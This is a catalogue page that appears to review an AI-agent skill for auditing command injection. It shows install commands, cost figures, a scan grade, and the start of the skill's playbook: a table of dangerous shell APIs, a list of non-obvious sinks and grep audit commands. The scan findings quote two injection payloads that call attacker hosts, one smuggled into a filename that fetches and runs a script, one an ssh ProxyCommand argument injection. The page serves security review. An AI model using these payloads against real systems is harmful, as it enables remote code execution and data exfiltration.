Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill command-injection-analysisgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/command-injection-analysis)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/command-injection-analysis"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/command-injection-analysis/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/command-injection-analysis"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/command-injection-analysis.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00045 | $0.01255 |
| Opus 5 | $0.00023 | $0.00628 |
| Sonnet 5 | $0.00009 | $0.00251 |
| Haiku 4.5 | $0.00005 | $0.00126 |
Grade B, and why
command-injection-analysis scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
- **Command substitution in filename** — `$(curl evil.com/x.sh | sh).jpg` Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
- **Argument injection** (the -oProxyCommand trick) — passing `-oProxyCommand=curl $(whoami).attacker.com` to ssh-based sinks Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
| Python | `os.system`, `subprocess.Popen(..., shell=True)`, `os.popen`, `commands.getoutput` | `subprocess.run([...], shell=False)` | This is a copy
95% identical to command-injection — 5 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 100 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Command Injection Playbook
If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.
1. Sinks
| Language | Dangerous | Safer |
|---|---|---|
| Python | os.system, subprocess.Popen(..., shell=True), os.popen, commands.getoutput |
subprocess.run([...], shell=False) |
| Node | child_process.exec, execSync |
child_process.execFile, spawn (array args) |
| Go | exec.Command("sh","-c",user) |
exec.Command(bin, arg1, arg2) with array |
| Java | Runtime.exec(String) |
Runtime.exec(String[]), ProcessBuilder([...]) |
| Ruby | backticks, system(str), %x{...} |
Kernel.system(bin, *args), Open3.capture2e |
| PHP | shell_exec, exec, system, backticks, passthru |
escapeshellarg + explicit execve |
Even the "safer" APIs are exploitable if the binary path is user
controlled (exec.Command(userBin, "--version")).
2. Non-obvious sinks
- Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
- Docker-compose / k8s manifests where
command:is built from user input - PDF libraries that shell out to
pdflatex,wkhtmltopdf,puppeteer - ImageMagick —
convert user.jpg out.pngwhereuser.jpgis attacker-chosen (classic ImageTragick) - ffmpeg
-iwith user-provided URL/file (SSRF + RCE combo) - Git clone with user-supplied URL (remote helper injection)
- SSH/Rsync wrappers building
ssh user@host "cmd"from templates - ZIP extractors passing archive path to
unzipbinary
3. Audit workflow
# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src
# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src
# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 100 lines · 45 tokens per session scan B 097cbe853b3f
command-injection-analysis is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 45 tokens to every session and 1,255 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 3 findings (downloads and executes remote code, makes network calls, runs shell commands). It is 95% identical to command-injection, differing in 5 lines, and is treated as a copy.
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